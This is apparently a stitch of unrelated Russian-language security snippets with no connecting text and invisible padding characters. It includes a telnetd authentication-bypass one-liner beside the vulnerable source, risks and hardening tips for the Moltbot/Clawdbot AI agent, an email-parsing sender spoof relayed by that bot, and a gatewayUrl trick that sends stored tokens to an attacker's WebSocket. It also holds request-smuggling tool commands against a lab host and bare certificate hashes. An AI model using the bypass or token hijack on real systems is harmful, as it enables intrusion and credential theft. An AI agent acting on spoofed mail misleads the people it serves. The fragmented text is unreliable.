...
char *login_invocation =
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
...

...
    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
...

USER='-f qwqoro' telnet -a 127.0.0.1‌‎ ‎ ‎ ‎ ‎ 

✅ Управляет почтой
✅ Управляет календарём
✅ Управляет заметками
✅ Управляет соцсетями
✅ Управляет мессенджерами, в т.ч. корпоративными
✅ Управляет паролями
✅ Взаимодействует с браузером
✅ Взаимодействует с системой
✅ Взаимодействует с другими ИИ!

✅ И даже круче: можно поселить его в Telegram бота!
⬜️

⬜️
❌ Утечка конфиденциальной информации (письма, документы, пароли, API-ключи, исходный код, ...)
❌ Удалённое исполнение кода
❌ Финансовые потери
❌ Что ещё нужно? 💀
⬜️

⬜️
➖Запускать в изолированной среде (не на личной системе, где есть что терять / не на сервере, который доступен снаружи)
➖Выделить боту отдельные эл. почту / номер телефона / аккаунты / ...
➖Настроить bind: "loopback" / bind: "tailnet" вместо bind: "all" в конфигурации шлюза
➖Настроить Pairing для сопряжения пользователь➕бот в рамках мессенджеров / устройство➕бот в рамках системы
➖Настроить белые списки идентификаторов пользователей для мессенджеров
➖Настроить белый список IP
➖Повесить аутентификацию
➖Периодически менять API ключи
➖Настроить лимиты, логи, алерты
➖. . .
⬜️

⬜️
▪️ X➡️Y: ✉️
▪️ Moltbot: парсит ✉️ от X➡️передаёт Y

⚡️ НО из-за некорректного парсинга специально сформированного письма Moltbot пишет Y, что письмо пришло от, например, Z

▪️ Y отвечает через Moltbot, думая, что отвечает Z➡️ответ получает X
⬜️

// convex/httpApiV1.ts:695-704
function getClientIp(request: Request) {
  const header =
    request.headers.get('cf-connecting-ip') ??
    request.headers.get('x-real-ip') ??
    request.headers.get('x-forwarded-for') ??
    request.headers.get('fly-client-ip')
  if (!header) return null
  if (header.includes(',')) return header.split(',')[0]?.trim() || null
  return header.trim()
}

// convex/httpApiV1.ts:555-564
const contentType = file.type || undefined‎ ‎ ‎ 

// convex/httpApiV1.ts:377-386
'Content-Type': file.contentType‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ 

⬜️
В пути к "Clawdbot Control" можно передать параметр gatewayUrl, ссылающийся на WebSocket: {DASHBOARD}/chat?gatewayUrl=wss://{GATEWAY}/gw

▪ Предыдущее значение gatewayUrl переписывается
▪ На новый gatewayUrl сразу приходят токены из localStorage
▪ Далее API запросы будут летать по новому пути;
⬜️

⬜️
Дано:

⬇️ Telegram бот просит поделиться контактом
⬇️ Записывает номер контакта в session.Phone
⬇️ Сравнивает user_id отправителя / user_id контакта

➡️ Если ок – Присылает ссылку для входа
➡️ Если жизнь ссылки истекла – Предлагает новую (на основе session.Phone)


Задача:
Получить ссылку для входа в другой аккаунт!
⬜️

git clone https://github.com/defparam/smuggler.git
cd smuggler

python3 smuggler.py -u https://█████.web-security-academy.net

brew install hahwul/smugglex/smugglex

smugglex https://█████.web-security-academy.net

./garden.sh start --build gunicorn nginx squid

./garden.sh repl‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ 

garden> payload 'GET / HTTP/1.1\r\nHOST: a\r\n\r\n' | transduce squid | fanout | grid

curl https://dv-g3b-emudhra.we-have-a-problem.com
curl https://dv-g3b-aaa-emudhra.we-have-a-problem.com

43bffa19d6ef651451f6841e019931e96f6f2eaeff28ab4b6f1ce4576de2717b
49dd353dc2b919a3770645117d0e60c16115e7d1bc259eefe734b00ea434fe5f
5c0660a2b164910d8ff589c18e14552e9e0ec237dcefe2cb736d41a4811f81a0
63ecefee431d49523bc1136c4e72d0206a477086caf606cd5cf025686c109cf8
92c063d67e8f14db71d288e11266ffdaf69cbf115f7bab14f3bc2f68d25e0e30
e0254c7fcdc265e2f0f8a428dabb75ab4ae039b4872d62f5ee57f0877d5a8a41
ebed6475c2c2d80fcb199f3fe8dd6e6b3ce60b77eb15d4e42c3dec0c6f5b5105
ec4ffa1ad0ac88081314b7aaffef6a91f97cd57291bb5ba686c5415f5eb4f6b6

EM OV TLS CA - G3C  4
EM EV TLS CA - G3C  56
EM DV TLS CA - G3C  230
EM OV CS  CA - G3C  237
EM EV TLS CA - G3B  115
EM OV TLS CA - G3B  155
EM DV TLS CA - G3B  156
EM OV CS  CA - G3B  66